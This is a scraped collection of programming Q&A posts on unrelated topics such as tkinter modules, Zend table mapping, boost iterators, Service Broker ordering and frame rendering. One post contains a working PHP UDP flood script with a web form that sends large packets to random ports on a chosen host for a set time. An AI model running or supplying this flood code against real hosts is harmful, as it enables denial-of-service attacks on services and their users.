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  • Is there a scheduling algorithm that optimizes for "maker's schedules"?

    - by John Feminella
    You may be familiar with Paul Graham's essay, "Maker's Schedule, Manager's Schedule". The crux of the essay is that for creative and technical professionals, meetings are anathema to productivity, because they tend to lead to "schedule fragmentation", breaking up free time into chunks that are too small to acquire the focus needed to solve difficult problems. In my firm we've seen significant benefits by minimizing the amount of disruption caused, but the brute-force algorithm we use to decide schedules is not sophisticated enough to handle scheduling large groups of people well. (*) What I'm looking for is if there's are any well-known algorithms which minimize this productivity disruption, among a group of N makers and managers. In our model, There are N people. Each person pi is either a maker (Mk) or a manager (Mg). Each person has a schedule si. Everyone's schedule is H hours long. A schedule consists of a series of non-overlapping intervals si = [h1, ..., hj]. An interval is either free or busy. Two adjacent free intervals are equivalent to a single free interval that spans both. A maker's productivity is maximized when the number of free intervals is minimized. A manager's productivity is maximized when the total length of free intervals is maximized. Notice that if there are no meetings, both the makers and the managers experience optimum productivity. If meetings must be scheduled, then makers prefer that meetings happen back-to-back, while managers don't care where the meeting goes. Note that because all disruptions are treated as equally harmful to makers, there's no difference between a meeting that lasts 1 second and a meeting that lasts 3 hours if it segments the available free time. The problem is to decide how to schedule M different meetings involving arbitrary numbers of the N people, where each person in a given meeting must place a busy interval into their schedule such that it doesn't overlap with any other busy interval. For each meeting Mt the start time for the busy interval must be the same for all parties. Does an algorithm exist to solve this problem or one similar to it? My first thought was that this looks really similar to defragmentation (minimize number of distinct chunks), and there are a lot of algorithms about that. But defragmentation doesn't have much to do with scheduling. Thoughts? (*) Practically speaking this is not really a problem, because it's rare that we have meetings with more than ~5 people at once, so the space of possibilities is small.

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  • Python-How to call up a function from another module?

    - by user2691540
    I am making a project where I need several modules which are imported into one main module to make a pizza ordering service. Upon finishing this (to a working standard) I decided to re-code it so that the whole order is completed with one tkinter window, now instead of using input(), I use tkinter.Entry() etc. etc. To do this I had to use functions for each step so it is broken up nicely, e.g. the code asks if the user wants pickup or delivery, the user clicks a button which sets some variables and one of the buttons is then configured to say "continue" and the command leads to the next step of the pizza ordering process e.g. getting the name. The problem I have is that when I get past the last function of the first module the configured button has a command to go to a function in the second module, but it says that the command is not defined??? I have tried my way around this but cannot import the configured button variable into the next module, and anything else I tried gave no result, it simply doesn't go to the next module after the first module is done. I have made the main tkinter window in the main module and have it that it will mainloop after importing the other modules so shouldn't the function I want to call upon be defined? How can I get from one function to the next if the latter is in a seperate module? Is this possible or do I have to rethink my approach and if so how? Ok then, have made some more code to show what my problem is, this isn't what I am actually using but it's a lot shorter and has the same issue: this is the main module: import tkinter mainwindow = tkinter.Tk() # here i set the window to a certain size etc. import mod1 import mod2 mainwindow.mainloop() this is mod1: import tkinter def button1(): label.destroy() button1.destroy() button2.config(text = "continue", command = func2) def button2(): label.destroy() button1.destroy() button2.config(text = "continue", command = func2) label = tkinter.Label(text = "example label") button1 = tkinter.Button(text = "button1", command = button1) button2 = tkinter.Button(text = "button2", command = button2) label.pack() button1.pack() button2.pack() this is mod2: def func2(): button2.destroy() print ("haha it works...") I still get the problem that func2 is not defined? Thanks in advance

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  • Zend Table Relationship Modeling with Composite Key

    - by emeraldjava
    I have a table with a composite primary key using four columns. mysql> describe leaguesummary; +------------------------+------------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +------------------------+------------------+------+-----+---------+----------------+ | leagueid | int(10) unsigned | NO | PRI | NULL | auto_increment | | leaguetype | enum('I','T') | NO | PRI | NULL | | | leagueparticipantid | int(10) unsigned | NO | PRI | NULL | | | leaguestandard | int(10) unsigned | NO | | NULL | | | leaguedivision | varchar(5) | NO | PRI | NULL | | | leagueposition | int(10) unsigned | NO | | NULL | | I have the league object modelled as so (all plain enough mappings) <?php class Model_DbTable_League extends Zend_Db_Table_Abstract { protected $_name = 'league'; protected $_primary = 'id'; protected $_dependentTables = array('Model_DbTable_LeagueSummary'); And I've started like this on the new model class. I've mapped a simple reference map which returns all rows linked to the league id. // http://files.zend.com/help/Zend-Framework/zend.db.table.relationships.html // http://naneau.nl/2007/04/21/a-zend-framework-tutorial-part-one/ class Model_DbTable_LeagueSummary extends Zend_Db_Table_Abstract { protected $_name = "leaguesummary"; protected $_primary = array('leagueid', 'leaguetype','leagueparticipantid','leaguedivision'); protected $_referenceMap = array( 'Summary' => array( 'columns' => array('leagueid'), 'refTableClass' => 'Model_DbTable_League', 'refColumns' => array('id') ), ..... ); } ?> The simple case works when called from my controller public function listAction() { // action body $leagueTable = new Model_DbTable_League(); $this->view->leagues = $leagueTable->getLeagues(); $league = $leagueTable->getLeague(6); // work $summary = $league->findDependentRowset('Model_DbTable_LeagueSummary','Summary'); Zend_Debug::dump($summary,"",true); I'm not sure how i can define extra _referenceMap keys which will take extra contraint ket values. I would like to be able to define a set called 'MenA' in which the type and division values are hardcoded, and the league id is taken from the initial rowset. 'MenA' =>array( 'columns' => array('leagueid','leaguetype','leaguedivision'), 'refTableClass' => 'Model_DbTable_League', 'refColumns' => array("id","I","A") ) Is this style of mapping possible ie hardcoding the values into the 'refColumns'. The second crazy idea i had was to pass the variable values in as part of the third param of the findDependentRowset() method. $menA = $league->findDependentRowset('Model_DbTable_LeagueSummary','MenA',array("I","A")); Any suggestions on how I might use the Zend DB Table Relationship mapping correctly to do this would be appreciated. I'm not interested in the plain, old and ugly $db-select(a,b,c)-where(..) style solution.

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  • On Redirect - Failed to generate a user instance of SQL Server...

    - by Craig Russell
    Hello (this is a long post sorry), I am writing a application in ASP.NET MVC 2 and I have reached a point where I am receiving this error when I connect remotely to my Server. Failed to generate a user instance of SQL Server due to failure in retrieving the user's local application data path. Please make sure the user has a local user profile on the computer. The connection will be closed. I thought I had worked around this problem locally, as I was getting this error in debug when site was redirected to a baseUrl if a subdomain was invalid using this code: protected override void Initialize(RequestContext requestContext) { string[] host = requestContext.HttpContext.Request.Headers["Host"].Split(':'); _siteProvider.Initialise(host, LiveMeet.Properties.Settings.Default["baseUrl"].ToString()); base.Initialize(requestContext); } protected override void OnActionExecuting(ActionExecutingContext filterContext) { if (Site == null) { string[] host = filterContext.HttpContext.Request.Headers["Host"].Split(':'); string newUrl; if (host.Length == 2) newUrl = "http://sample.local:" + host[1]; else newUrl = "http://sample.local"; Response.Redirect(newUrl, true); } ViewData["Site"] = Site; base.OnActionExecuting(filterContext); } public Site Site { get { return _siteProvider.GetCurrentSite(); } } The Site object is returned from a Provider named siteProvider, this does two checks, once against a database containing a list of all available subdomains, then if that fails to find a valid subdomain, or valid domain name, searches a memory cache of reserved domains, if that doesn't hit then returns a baseUrl where all invalid domains are redirected. locally this worked when I added the true to Response.Redirect, assuming a halting of the current execution and restarting the execution on the browser redirect. What I have found in the stack trace is that the error is thrown on the second attempt to access the database. #region ISiteProvider Members public void Initialise(string[] host, string basehost) { if (host[0].Contains(basehost)) host = host[0].Split('.'); Site getSite = GetSites().WithDomain(host[0]); if (getSite == null) { sites.TryGetValue(host[0], out getSite); } _site = getSite; } public Site GetCurrentSite() { return _site; } public IQueryable<Site> GetSites() { return from p in _repository.groupDomains select new Site { Host = p.domainName, GroupGuid = (Guid)p.groupGuid, IsSubDomain = p.isSubdomain }; } #endregion The Linq query ^^^ is hit first, with a filter of WithDomain, the error isn't thrown till the WithDomain filter is attempted. In summary: The error is hit after the page is redirected, so the first iteration is executing as expected (so permissions on the database are correct, user profiles etc) shortly after the redirect when it filters the database query for the possible domain/subdomain of current redirected page, it errors out.

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  • Using boost::iterator

    - by Neil G
    I wrote a sparse vector class (see #1, #2.) I would like to provide two kinds of iterators: The first set, the regular iterators, can point any element, whether set or unset. If they are read from, they return either the set value or value_type(), if they are written to, they create the element and return the lvalue reference. Thus, they are: Random Access Traversal Iterator and Readable and Writable Iterator The second set, the sparse iterators, iterate over only the set elements. Since they don't need to lazily create elements that are written to, they are: Random Access Traversal Iterator and Readable and Writable and Lvalue Iterator I also need const versions of both, which are not writable. I can fill in the blanks, but not sure how to use boost::iterator_adaptor to start out. Here's what I have so far: template<typename T> class sparse_vector { public: typedef size_t size_type; typedef T value_type; private: typedef T& true_reference; typedef const T* const_pointer; typedef sparse_vector<T> self_type; struct ElementType { ElementType(size_type i, T const& t): index(i), value(t) {} ElementType(size_type i, T&& t): index(i), value(t) {} ElementType(size_type i): index(i) {} ElementType(ElementType const&) = default; size_type index; value_type value; }; typedef vector<ElementType> array_type; public: typedef T* pointer; typedef T& reference; typedef const T& const_reference; private: size_type size_; mutable typename array_type::size_type sorted_filled_; mutable array_type data_; // lots of code for various algorithms... public: class sparse_iterator : public boost::iterator_adaptor< sparse_iterator // Derived , array_type::iterator // Base (the internal array) (this paramater does not compile! -- says expected a type, got 'std::vector::iterator'???) , boost::use_default // Value , boost::random_access_traversal_tag? // CategoryOrTraversal > class iterator_proxy { ??? }; class iterator : public boost::iterator_facade< iterator // Derived , ????? // Base , ????? // Value , boost::?????? // CategoryOrTraversal > { }; };

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  • Cepstral Analysis for pitch detection

    - by Ohmu
    Hi! I'm looking to extract pitches from a sound signal. Someone on IRC just explain to me how taking a double FFT achieves this. Specifically: take FFT take log of square of absolute value (can be done with lookup table) take another FFT take absolute value I am attempting this using vDSP I can't understand how I didn't come across this technique earlier. I did a lot of hunting and asking questions; several weeks worth. More to the point, I can't understand why I didn't think of it. I am attempting to achieve this with vDSP library. it looks as though it has functions to handle all of these tasks. However, I'm wondering about the accuracy of the final result. I have previously used a technique which scours the frequency bins of a single FFT for local maxima. when it encounters one, it uses a cunning technique (the change in phase since the last FFT) to more accurately place the actual peak within the bin. I am worried that this precision will be lost with this technique I'm presenting here. I guess the technique could be used after the second FFT to get the fundamental accurately. But it kind of looks like the information is lost in step 2. as this is a potentially tricky process, could someone with some experience just look over what I'm doing and check it for sanity? also, I've heard there is an alternative technique involving fitting a quadratic over neighbouring bins. Is this of comparable accuracy? if so, I would favour it, as it doesn't involve remembering bin phases. so questions: does this approach makes sense? Can it be improved? I'm a bit worried about And the log square component; there seems to be a vDSP function to do exactly that: vDSP_vdbcon however, there is no indication it precalculates a log-table -- I assume it doesn't, as the FFT function requires an explicit pre-calculation function to be called and passed into it. and this function doesn't. Is there some danger of harmonics being picked up? is there any cunning way of making vDSP pull out the maxima, biggest first? Can anyone point me towards some research or literature on this technique? the main question: is it accurate enough? Can the accuracy be improved? I have just been told by an expert that the accuracy IS INDEED not sufficient. Is this the end of the line? Pi PS I get SO annoyed (npi) when I want to create tags, but cannot. :| I have suggested to the maintainers that SO keep track of attempted tags, but I'm sure I was ignored. we need tags for vDSP, accelerate framework, cepstral analysis

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  • Measure width() with jQuery after DOM refresh

    - by o_O Tync
    My script dynamically creates a <ul> width left-floating <li>s inside: it's a paginator. Afterwards, the script measures width of all <li>s and summs them up. The problem is that after the nodes are injected into the document — the browser refreshed DOM and applies CSS styles which takes a while. It has a negative effect on my script: when these operations are not complete before I measure the width — my script gets a wrong value. If I perform the measure in a second — everything is ok. The thing I'm looking for is a way to detect the moment when the <ul> is fully drawn, styles applied and the width has stabilizes. Or at least a way to detect every dimensions changes. Of course I can use setTimeout(..., 100) but it's ugly and I guess — not a solution at all. If there's a way to detect width stabilization — I would do the measuring right after it to get the correct values. HTML code generated by the DOM <div> <ul> <li><a href="...">1</a></li> <li><a href="...">2</a></li> .... </ul> </div> P.S. Why I need this. My paginator's left-floating <li> items tend to move to the next line when the <ul> tries to become wider than the page itself. Even though most of <li>s are invisible because of parent <div>'s width restriction: div { width: 500px; overflow: hidden; } div ul { width: 100%; white-space: nowrap; } div ul li { display: block; float: left; } they still go down unless I specify the actual summed width of the <ul> with the script.

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  • how i can use SAX parser

    - by moustafa
    This is what the result should look like when i parse it through a SAX parser http://img13.imageshack.us/img13/6950/75914446.jpg This is the XML source code from which i need to generate the display: <orders> <order> <count>37</count> <price>49.99</price> <book> <isbn>0130897930</isbn> <title>Core Web Programming Second Edition</title> <authors> <count>2</count> <author>Marty Hall</author> <author>Larry Brown</author> </authors> </book> </order> <order> <count>1</count> <price>9.95</price> <yacht> <manufacturer>Luxury Yachts, Inc.</manufacturer> <model>M-1</model> <standardFeatures oars="plastic" lifeVests="none">false</standardFeatures> </yacht> </order> <order> <count>3</count> <price>22.22</price> <book> <isbn>B000059Z4H</isbn> <title>Harry Potter and the Order of the Phoenix</title> <authors> <count>1</count> <author>J.K. Rowling</author> </authors> </book> </order> i really have no clue how to code the functions but i have just set up the parser $xmlParser = xml_parser_create("UTF-8"); xml_parser_set_option($xmlParser, XML_OPTION_CASE_FOLDING, false); xml_set_element_handler($xmlParser, 'startElement', 'endElement'); xml_set_character_data_handler($xmlParser, 'HandleCharacterData'); $fileName = 'orders.xml'; if (!($fp = fopen($fileName, 'r'))){ die('Cannot open the XML file: ' . $fileName); } while ($data = fread($fp, 4096)){ $parsedOkay = xml_parse($xmlParser, $data, feof($fp)); if (!$parsedOkay){ print ("There was an error or the parser was finished."); break; } } xml_parser_free($xmlParser); function startElement($xmlParser, $name, $attribs) { } function endElement($parser, $name) { } function HandleCharacterData($parser, $data) { }

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  • Do sockets opened with fsockopen stay open after you leave the page via your browser?

    - by Rob
    if(isset($_GET['host'])&&is_numeric($_GET['time'])){ $pakits = 0; ignore_user_abort(TRUE); set_time_limit(0); $exec_time = $_GET['time']; $time = time(); //print "Started: ".time('h:i:s')."<br>"; $max_time = $time+$exec_time; $host = $_GET['host']; for($i=0;$i<65000;$i++){ $out .= 'X'; } while(1){ $pakits++; if(time() > $max_time){ break; } $rand = rand(1,65000); $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n"; echo '<br><br> <form action="'.$surl.'" method=GET> <input type="hidden" name="act" value="phptools"> Host: <input type=text name=host value=localhost> Length (seconds): <input type=text name=time value=9999> <input type=submit value=Go></form>'; }else{ echo '<br><b>UDP Flood</b><br> <form action=? method=GET> <input type="hidden" name="act" value="phptools"> Host: <br><input type=text name=host value=localhost><br> Length (seconds): <br><input type=text name=time value=9999><br> <br> <input type=submit value=Go></form>'; } I've been looking around and asking my friends for awhile now, if I use this script to tell the server to open the sockets using fsockopen, if I leave the webpage will the sockets remain open until the duration is completed?

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  • service broker message process order

    - by Blootac
    Everywhere I read says that messages handled by the service broker are processed in the order that they arrive, and yet if you create a table, message type, contract, service etc , and on activation have a stored proc that waits for 2 seconds and inserts the msg into a table, set the max queue readers to 5 or 10, and send 20 odd messages I can see in the table that they are inserted out of order even though when I insert them into the queue and look at the contents of the queue I can see that the messages are all in the right order. Is it due to the delay waitfor waiting for the nearest second and each thread having different subsecond times and then fighting for a lock or something? The reason i've got a delay in there is to simulate delays with joins etc Thanks demo code: --create the table and service broker CREATE TABLE test ( id int identity(1,1), contents varchar(100) ) CREATE MESSAGE TYPE test CREATE CONTRACT mycontract ( test sent by initiator ) GO CREATE PROCEDURE dostuff AS BEGIN DECLARE @msg varchar(100); RECEIVE TOP (1) @msg = message_body FROM myQueue IF @msg IS NOT NULL BEGIN WAITFOR DELAY '00:00:02' INSERT INTO test(contents)values(@msg) END END GO ALTER QUEUE myQueue WITH STATUS = ON, ACTIVATION ( STATUS = ON, PROCEDURE_NAME = dostuff, MAX_QUEUE_READERS = 10, EXECUTE AS SELF ) create service senderService on queue myQueue ( mycontract ) create service receiverService on queue myQueue ( mycontract ) GO --********************************************************** --now insert lots of messages to the queue DECLARE @dialog_handle uniqueidentifier BEGIN DIALOG @dialog_handle FROM SERVICE senderService TO SERVICE 'receiverService' ON CONTRACT mycontract; SEND ON CONVERSATION @dialog_handle MESSAGE TYPE test ('<test>1</test>'); BEGIN DIALOG @dialog_handle FROM SERVICE senderService TO SERVICE 'receiverService' ON CONTRACT mycontract; SEND ON CONVERSATION @dialog_handle MESSAGE TYPE test ('<test>2</test>') BEGIN DIALOG @dialog_handle FROM SERVICE senderService TO SERVICE 'receiverService' ON CONTRACT mycontract; SEND ON CONVERSATION @dialog_handle MESSAGE TYPE test ('<test>3</test>') BEGIN DIALOG @dialog_handle FROM SERVICE senderService TO SERVICE 'receiverService' ON CONTRACT mycontract; SEND ON CONVERSATION @dialog_handle MESSAGE TYPE test ('<test>4</test>') BEGIN DIALOG @dialog_handle FROM SERVICE senderService TO SERVICE 'receiverService' ON CONTRACT mycontract; SEND ON CONVERSATION @dialog_handle MESSAGE TYPE test ('<test>5</test>') BEGIN DIALOG @dialog_handle FROM SERVICE senderService TO SERVICE 'receiverService' ON CONTRACT mycontract; SEND ON CONVERSATION @dialog_handle MESSAGE TYPE test ('<test>6</test>') BEGIN DIALOG @dialog_handle FROM SERVICE senderService TO SERVICE 'receiverService' ON CONTRACT mycontract; SEND ON CONVERSATION @dialog_handle MESSAGE TYPE test ('<test>7</test>')

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  • How can I implement NotOfType<T> in LINQ that has a nice calling syntax?

    - by Lette
    I'm trying to come up with an implementation for NotOfType, which has a readable call syntax. NotOfType should be the complement to OfType<T> and would consequently yield all elements that are not of type T My goal was to implement a method which would be called just like OfType<T>, like in the last line of this snippet: public abstract class Animal {} public class Monkey : Animal {} public class Giraffe : Animal {} public class Lion : Animal {} var monkey = new Monkey(); var giraffe = new Giraffe(); var lion = new Lion(); IEnumerable<Animal> animals = new Animal[] { monkey, giraffe, lion }; IEnumerable<Animal> fewerAnimals = animals.NotOfType<Giraffe>(); However, I can not come up with an implementation that supports that specific calling syntax. This is what I've tried so far: public static class EnumerableExtensions { public static IEnumerable<T> NotOfType<T>(this IEnumerable<T> sequence, Type type) { return sequence.Where(x => x.GetType() != type); } public static IEnumerable<T> NotOfType<T, TExclude>(this IEnumerable<T> sequence) { return sequence.Where(x => !(x is TExclude)); } } Calling these methods would look like this: // Animal is inferred IEnumerable<Animal> fewerAnimals = animals.NotOfType(typeof(Giraffe)); and // Not all types could be inferred, so I have to state all types explicitly IEnumerable<Animal> fewerAnimals = animals.NotOfType<Animal, Giraffe>(); I think that there are major drawbacks with the style of both of these calls. The first one suffers from a redundant "of type/type of" construct, and the second one just doesn't make sense (do I want a list of animals that are neither Animals nor Giraffes?). So, is there a way to accomplish what I want? If not, could it be possible in future versions of the language? (I'm thinking that maybe one day we will have named type arguments, or that we only need to explicitly supply type arguments that can't be inferred?) Or am I just being silly?

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  • Best practices managing JavaScript on a single-page app

    - by seanmonstar
    With a single page app, where I change the hash and load and change only the content of the page, I'm trying to decide on how to manage the JavaScript that each "page" might need. I've already got a History module monitoring the location hash which could look like domain.com/#/company/about, and a Page class that will use XHR to get the content and insert it into the content area. function onHashChange(hash) { var skipCache = false; if(hash in noCacheList) { skipCache = true; } new Page(hash, skipCache).insert(); } // Page.js var _pageCache = {}; function Page(url, skipCache) { if(!skipCache && (url in _pageCache)) { return _pageCache[url]; } this.url = url; this.load(); } The cache should let pages that have already been loaded skip the XHR. I also am storing the content into a documentFragment, and then pulling the current content out of the document when I insert the new Page, so I the browser will only have to build the DOM for the fragment once. Skipping the cache could be desired if the page has time sensitive data. Here's what I need help deciding on: It's very likely that any of the pages that get loaded will have some of their own JavaScript to control the page. Like if the page will use Tabs, needs a slide show, has some sort of animation, has an ajax form, or what-have-you. What exactly is the best way to go around loading that JavaScript into the page? Include the script tags in the documentFragment I get back from the XHR? What if I need to skip the cache, and re-download the fragment. I feel the exact same JavaScript being called a second time might cause conflicts, like redeclaring the same variables. Would the better way be to attach the scripts to the head when grabbing the new Page? That would require the original page know all the assets that every other page might need. And besides knowing the best way to include everything, won't I need to worry about memory management, and possible leaks of loading so many different JavaScript bits into a single page instance?

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  • Using Constants in Perl

    - by David W.
    I am trying to define constants in Perl using the use Constant pragma: use Constant { FOO => "bar", BAR => "foo" }; I'm running into a bit of trouble, and hoping there's a standard way of handling it. First of all... I am defining a hook script for Subversion. To make things simple, I want to have a single file where the class (package) I'm using is in the same file as my actual script. Most of this package will have constants involved in it: print "This is my program"; package "MyClass"; use constant { FOO => "bar" }; sub new { yaddah, yaddah, yaddah. I would like my constant FOO to be accessible to my main program. I would like to do this without having to refer to it as MyClass::FOO. Normally, when the package is a separate file, I could do this in my main program: use MyClass qw(FOO); but, since my class and program are a single file, I can't do that. What would be the best way for my main program to be able to access my constants defined in my class? The second issue... I would like to use the constant values as hash keys: $myHash{FOO} = "bar"; The problem is that %myHash has the literal string FOO as the key and not the value of the constant. This causes problems when I do things like this: if (defined($myHash{FOO})) { print "Key " . FOO . " does exist!\n"; } I could force the context: if (defined("" . FOO . "")) { I could add parentheses: if (defined(FOO())) { Or, I could use a temporary variable: my $foo = FOO; if (defined($foo)) { None of these are really nice ways of handling this issue. So, what is the best way? Is there one way I'm missing? By the way, I don't want to use Readonly::Scalar because it is 1). slow, and 2). not part of the standard Perl package. I want to define my hook not to require additional Perl packages and to be as simple as possible to work.

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  • Normalizing Item Names & Synonyms

    - by RabidFire
    Consider an e-commerce application with multiple stores. Each store owner can edit the item catalog of his store. My current database schema is as follows: item_names: id | name | description | picture | common(BOOL) items: id | item_name_id | picture | price | description | picture item_synonyms: id | item_name_id | name | error(BOOL) Notes: error indicates a wrong spelling (eg. "Ericson"). description and picture of the item_names table are "globals" that can optionally be overridden by "local" description and picture fields of the items table (in case the store owner wants to supply a different picture for an item). common helps separate unique item names ("Jimmy Joe's Cheese Pizza" from "Cheese Pizza") I think the bright side of this schema is: Optimized searching & Handling Synonyms: I can query the item_names & item_synonyms tables using name LIKE %QUERY% and obtain the list of item_name_ids that need to be joined with the items table. (Examples of synonyms: "Sony Ericsson", "Sony Ericson", "X10", "X 10") Autocompletion: Again, a simple query to the item_names table. I can avoid the usage of DISTINCT and it minimizes number of variations ("Sony Ericsson Xperia™ X10", "Sony Ericsson - Xperia X10", "Xperia X10, Sony Ericsson") The down side would be: Overhead: When inserting an item, I query item_names to see if this name already exists. If not, I create a new entry. When deleting an item, I count the number of entries with the same name. If this is the only item with that name, I delete the entry from the item_names table (just to keep things clean; accounts for possible erroneous submissions). And updating is the combination of both. Weird Item Names: Store owners sometimes use sentences like "Harry Potter 1, 2 Books + CDs + Magic Hat". There's something off about having so much overhead to accommodate cases like this. This would perhaps be the prime reason I'm tempted to go for a schema like this: items: id | name | picture | price | description | picture (... with item_names and item_synonyms as utility tables that I could query) Is there a better schema you would suggested? Should item names be normalized for autocomplete? Is this probably what Facebook does for "School", "City" entries? Is the first schema or the second better/optimal for search? Thanks in advance! References: (1) Is normalizing a person's name going too far?, (2) Avoiding DISTINCT

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  • Clojure vars and Java static methods

    - by j-g-faustus
    I'm a few days into learning Clojure and are having some teething problems, so I'm asking for advice. I'm trying to store a Java class in a Clojure var and call its static methods, but it doesn't work. Example: user=> (. java.lang.reflect.Modifier isPrivate 1) false user=> (def jmod java.lang.reflect.Modifier) #'user/jmod user=> (. jmod isPrivate 1) java.lang.IllegalArgumentException: No matching method found: isPrivate for class java.lang.Class (NO_SOURCE_FILE:0) at clojure.lang.Compiler.eval(Compiler.java:4543) From the exception it looks like the runtime expects a var to hold an object, so it calls .getClass() to get the class and looks up the method using reflection. In this case the var already holds a class, so .getClass() returns java.lang.Class and the method lookup obviously fails. Is there some way around this, other than writing my own macro? In the general case I'd like to have either an object or a class in a varible and call the appropriate methods on it - duck typing for static methods as well as for instance methods. In this specific case I'd just like a shorter name for java.lang.reflect.Modifier, an alias if you wish. I know about import, but looking for something more general, like the Clojure namespace alias but for Java classes. Are there other mechanisms for doing this? Edit: Maybe I'm just confused about the calling conventions here. I thought the Lisp (and by extension Clojure) model was to evaluate all arguments and call the first element in the list as a function. In this case (= jmod java.lang.reflect.Modifier) returns true, and (.getName jmod) and (.getName java.lang.reflect.Modifier) both return the same string. So the variable and the class name clearly evaluate to the same thing, but they still cannot be called in the same fashion. What's going on here? Edit 2 Answering my second question (what is happening here), the Clojure doc says that If the first operand is a symbol that resolves to a class name, the access is considered to be to a static member of the named class... Otherwise it is presumed to be an instance member http://clojure.org/java_interop under "The Dot special form" "Resolving to a class name" is apparently not the same as "evaluating to something that resolves to a class name", so what I am trying to do here is something the dot special form does not support.

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  • Alternative to Page_Load in ASP.NET (and a good WTF story)

    - by Jason
    Woo, I have a doozy of a problem (might even be one for the Daily WTF) and I'm hoping there's a solution. (My apologies for the long post...) I have been working on a website that I inherited about a month ago. One of the parts I have been working on is fixing one of the controls (essentially a dynamic header bar) so that it displays additional information as requested by my users. As part of doing this project, I created a Site.master file so that I wouldn't have to recode the header bar into every single page. When I first started doing this, it seemingly worked very well. All the pages I had developed looked great and the bar updated as it should displaying the information as it should. Well, when I dropped the Site.master (and this control) into older site pages (ones I did not specifically develop) I noticed that it looked bad on some of them, but not all of them. When I say it looked bad, basically, the control would left-align itself to the page rather than center as it should. I spent a couple hours debugging to no avail - CSS looked correct, the HTML appeared to be okay, I didn't see anything in the Javascript (although, I did miss something as I'll point out in a second), and even the old code looked correct (to the best that it could - it's not very well written). Another coworker took a look at the site and couldn't find anything at first, either. It wasn't until I just thought to look at the rendered source code of the page (I had been working in the developer view up to this point in IE8) that it became clear what was wrong. The original developer performs searches on many of the pages. To accomplish this, he queries the database for ALL the data and then loads them into Javascript arrays within the page so he can get access to them. This in itself is a huge problem because we're talking about thousands of items, and it obviously isn't scalable (and, yes, the site is slow). However, it finally clicked what was screwing up the Site.master - when he loads the data into the Javascript arrays, he writes out the data to the HTML upon Page_Load using numerous Response.Write(string) calls. The WTF (and what was messing me up) is that he inserts the Javascript before the DOCTYPE causing IE to go into quirks mode! So, because I need to at least get this release out (I'll fix the real problem later), I was wondering: is there a way I can force this Javascript to be inserted elsewhere into the HTML—after the DOCTYPE at the very least? Right now, all the Response.Write() calls are being done in the Page_Load method. I just need them to be inserted later.

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  • ASP.NET MVC 4/Web API Single Page App for Mobile Devices ... Needs Authentication

    - by lmttag
    We have developed an ASP.NET MVC 4/Web API single page, mobile website (also using jQuery Mobile) that is intended to be accessed only from mobile devices (e.g., iPads, iPhones, Android tables and phones, etc.), not desktop browsers. This mobile website will be hosted internally, like an intranet site. However, since we’re accessing it from mobile devices, we can’t use Windows authentication. We still need to know which user (and their role) is logging in to the mobile website app. We tried simply using ASP.NET’s forms authentication and membership provider, but couldn’t get it working exactly the way we wanted. What we need is for the user to be prompted for a user name and password only on the first time they access the site on their mobile device. After they enter a correct user name and password and have been authenticated once, each subsequent time they access the site they should just go right in. They shouldn’t have to re-enter their credentials (i.e., something needs to be saved locally to each device to identify the user after the first time). This is where we had troubles. Everything worked as expected the first time. That is, the user was prompted to enter a user name and password, and, after doing that, was authenticated and allowed into the site. The problem is every time after the browser was closed on the mobile device, the device and user were not know and the user had to re-enter user name and password. We tried lots of things too. We tried setting persistent cookies in JavaScript. No good. The cookies weren’t there to be read the second time. We tried manually setting persistent cookies from ASP.NET. No good. We, of course, used FormsAuthentication.SetAuthCookie(model.UserName, true); as part of the form authentication framework. No good. We tried using HTML5 local storage. No good. No matter what we tried, if the user was on a mobile device, they would have to log in every single time. (Note: we’ve tried on an iPad and iPhone running both iOS 5.1 and 6.0, with Safari configure to allow cookies, and we’ve tried on Android 2.3.4.) Is there some trick to getting a scenario like this working? Or, do we have to write some sort of custom authentication mechanism? If so, how? And, what? Or, should we use something like claims-based authentication and WIF? Or??? Any help is appreciated. Thanks!

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  • Safari Frames Invisible Scrollbar

    - by mobiuschic42
    I'm working on a website that uses not just frames, but frames within frames (ew, I know, but I don't get to choose). It actually works OK most of the time, but I'm running into a problem with some of the frames within frames in Safari (only). Some of the two-deep frames render in Safari with a small space on the right-hand side of the frame - I think it's just the ones with scroll set to "no", but fiddling with the scroll settings hasn't fixed it yet. It basically looks like there should be a scroll bar there, but there isn't. I've been working on this awhile and tried a lot of things: changing the heights of the rows, changing the scroll settings, adding a colls='100%' tag, changing the heights of the contents of the frames, as well as checking to make sure widths are set to 100% throughout. Nothing's fixed it so far. Does any one know what's happening here? Here's the basic gist of the code and some screenshots - please forgive the lack of proper quotes; it still renders and fixing them all in this codebase would be a losing battle: <html> <frameset id=fset frameborder=0 border=0 framespacing=0 onbeforeunload="onAppClosing()" onload="onAppInit()" rows="125px,*,0"> <frame src="navFrame.html" name=ControlPanel marginwidth=0 marginheight=0 frameborder=0 scrolling=no noresize> <frame src="contentFrame.html" name=C marginwidth=0 marginheight=0 frameborder=0 scrolling=no> <frame src="invisiFrame.html" name=PING marginwidth=0 marginheight=0 frameborder=0 noresize> <noframes><body>Tough luck.</center></body></noframes> </frameset></html> Inside that second frame (named "C" and with src of "contentFrame") is this: <HTML> <HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8"></head> <frameset rows="48px,*,28px" border=0 frameborder=0 framespacing=0> <frame src="pageTitle.html" name=Title marginwidth=0 marginheight=0 noresize scrolling=no frameborder=0> <frame src="content.html" name=ScreenBody marginwidth=0 marginheight=0 frameborder=0> <frame src="submitBar.html" name=ContextPanel marginwidth=0 marginheight=0 frameborder=0 scrolling=no noresize> </FRAMESET> </HTML> The frames that are troublesome are the first frame (named "Title" with src of "pageTitle.html") and the last frame (named "ContextPanel" with src of "submitBar.html") both have their widths set to 100% and heights are either 100%, not set, or a value less than or equal to their row height. Here is an image of the problem:

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  • Same data being returned by linq for 2 different executions of a stored procedure?

    - by Paul
